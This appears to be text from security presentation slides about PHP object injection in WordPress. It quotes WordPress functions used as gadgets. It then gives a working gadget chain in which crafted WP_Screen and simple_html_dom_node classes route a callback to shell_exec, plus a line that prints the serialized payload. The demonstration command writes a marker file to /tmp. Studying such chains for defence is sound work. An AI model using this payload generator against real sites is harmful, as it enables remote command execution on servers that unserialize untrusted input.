  • 30. 30 final class WP_Screen {!     public function render_screen_meta() {!         // ...!         foreach ($this->_help_tabs as $tab):!             if (!empty($tab['callback']))!                 call_user_func_array($tab['callback'], array($this, $tab));!         endforeach;!     }!     // ...! } function wp_generate_tag_cloud($tags, $args = '') {!     // ...!     $args = wp_parse_args($args, $defaults);!     extract($args);!     // ...!     foreach ((array) $tags as $key => $tag) {!         $real_counts[$key] = $tag->count;!         $counts[$key] = $topic_count_scale_callback($tag->count);!     }!     // ...! }
  • 31. 31
  • 32. 32 class simple_html_dom_node {! ! private $dom;! ! public function __construct() {! ! ! $callback = array(new WP_Screen(), 'render_screen_meta');! ! ! $this->dom = (object) array('callback' => $callback);! ! }! }! class WP_Screen {! ! private $_help_tabs;! ! public $action;! ! function __construct() {! ! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');! ! ! $this->action = (object) $count;! ! ! $this->_help_tabs = array(array(! ! ! ! 'callback' => 'wp_generate_tag_cloud', ! ! ! ! 'topic_count_scale_callback' => 'shell_exec'));! ! }! }! echo serialize(new simple_html_dom_node()).'💖';